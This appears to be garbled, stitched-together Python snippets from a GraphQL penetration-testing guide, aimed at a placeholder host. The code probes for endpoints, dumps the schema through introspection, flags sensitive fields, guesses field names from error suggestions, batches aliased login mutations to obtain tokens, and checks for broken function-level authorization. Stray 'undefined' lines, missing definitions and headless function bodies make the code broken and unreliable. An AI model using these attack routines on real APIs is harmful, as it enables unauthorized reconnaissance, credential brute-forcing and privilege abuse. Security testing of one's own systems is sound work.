import requests
import json

TARGET = "https://target-api.example.com"
headers = {"Content-Type": "application/json"}

# Also test GET method
try:
    resp = requests.get(f"{TARGET}{path}?query={{__typename}}", timeout=5)
    if resp.status_code == 200 and ("data" in resp.text or "__typename" in resp.text):
        print(f"[FOUND] GraphQL endpoint (GET): {TARGET}{path}")
except requests.exceptions.RequestException:
    pass

undefined

GRAPHQL_URL = f"{TARGET}/graphql"
auth_headers = {**headers, "Authorization": "Bearer <token>"}

fragment FullType on __Type {
  kind
  name
  description
  fields(includeDeprecated: true) {
    name
    description
    args {
      ...InputValue
    }
    type {
      ...TypeRef
    }
    isDeprecated
    deprecationReason
  }
  inputFields {
    ...InputValue
  }
  interfaces {
    ...TypeRef
  }
  enumValues(includeDeprecated: true) {
    name
    description
    isDeprecated
    deprecationReason
  }
  possibleTypes {
    ...TypeRef
  }
}

fragment InputValue on __InputValue {
  name
  description
  type { ...TypeRef }
  defaultValue
}

fragment TypeRef on __Type {
  kind
  name
  ofType {
    kind
    name
    ofType {
      kind
      name
      ofType {
        kind
        name
        ofType {
          kind
          name
        }
      }
    }
  }
}
"""

    # Categorize types
    custom_types = [t for t in types if not t["name"].startswith("__")]
    queries = schema["data"]["__schema"]["queryType"]
    mutations = schema["data"]["__schema"].get("mutationType")

    print(f"\nSchema Summary:")
    print(f"  Custom Types: {len(custom_types)}")
    print(f"  Query Type: {queries['name'] if queries else 'None'}")
    print(f"  Mutation Type: {mutations['name'] if mutations else 'None'}")

    # List all custom types and their fields
    for t in custom_types:
        if t.get("fields"):
            print(f"\n  Type: {t['name']}")
            for field in t["fields"]:
                field_type = field["type"]["name"] or field["type"].get("ofType", {}).get("name", "")
                print(f"    - {field['name']}: {field_type}")

    # Save schema for further analysis
    with open("graphql_schema.json", "w") as f:
        json.dump(schema, f, indent=2)
    print("\nSchema saved to graphql_schema.json")
else:
    print("[SECURED] Introspection disabled or restricted")
    print(f"Response: {resp.text[:500]}")

undefined

undefined

for t in custom_types:
    # Check type names
    for sensitive_type in SENSITIVE_INDICATORS["type_names"]:
        if sensitive_type.lower() in t["name"].lower():
            print(f"[SENSITIVE TYPE] {t['name']}")

    # Check field names
    if t.get("fields"):
        for field in t["fields"]:
            for sensitive_field in SENSITIVE_INDICATORS["field_names"]:
                if sensitive_field.lower() in field["name"].lower():
                    print(f"[SENSITIVE FIELD] {t['name']}.{field['name']}")

# Check mutation names
if mutations:
    mutation_type = next((t for t in types if t["name"] == mutations["name"]), None)
    if mutation_type and mutation_type.get("fields"):
        for mutation in mutation_type["fields"]:
            for sensitive_mut in SENSITIVE_INDICATORS["mutation_names"]:
                if sensitive_mut.lower() in mutation["name"].lower():
                    print(f"[SENSITIVE MUTATION] {mutation['name']}")

undefined

undefined

for field_name in field_wordlist:
    query = {"query": f"{{ {type_name} {{ {field_name} }} }}"}
    resp = requests.post(GRAPHQL_URL, headers=auth_headers, json=query)
    response_text = resp.text.lower()

    # GraphQL often suggests valid field names in error messages
    if "did you mean" in response_text:
        # Extract suggestions
        import re
        suggestions = re.findall(r'"(\w+)"', resp.text)
        for s in suggestions:
            if s not in discovered_fields:
                discovered_fields.append(s)
                print(f"  [DISCOVERED] {type_name}.{s} (via suggestion)")

    elif resp.status_code == 200 and "errors" not in resp.json():
        discovered_fields.append(field_name)
        print(f"  [VALID] {type_name}.{field_name}")

return discovered_fields

undefined

undefined

query = {"query": "mutation { " + " ".join(aliases) + " }"}
resp = requests.post(GRAPHQL_URL, headers=headers, json=query)
if resp.status_code == 200:
    data = resp.json().get("data", {})
    for key, value in data.items():
        if value and value.get("token"):
            print(f"[SUCCESS] {key}: token obtained")
return resp

undefined

undefined

# Test as admin
resp_admin = requests.post(GRAPHQL_URL,
    headers={**headers, "Authorization": admin_token_val},
    json={"query": sq["query"]})

user_ok = resp_user.status_code == 200 and "errors" not in resp_user.json()
admin_ok = resp_admin.status_code == 200 and "errors" not in resp_admin.json()

if user_ok and admin_ok:
    print(f"[BFLA] {sq['name']}: Both user and admin can access")
elif user_ok and not admin_ok:
    print(f"[ANOMALY] {sq['name']}: User can access but admin cannot")
elif not user_ok and admin_ok:
    print(f"[SECURE] {sq['name']}: Only admin can access")
else:
    print(f"[BLOCKED] {sq['name']}: Neither can access")

undefined

undefined

undefined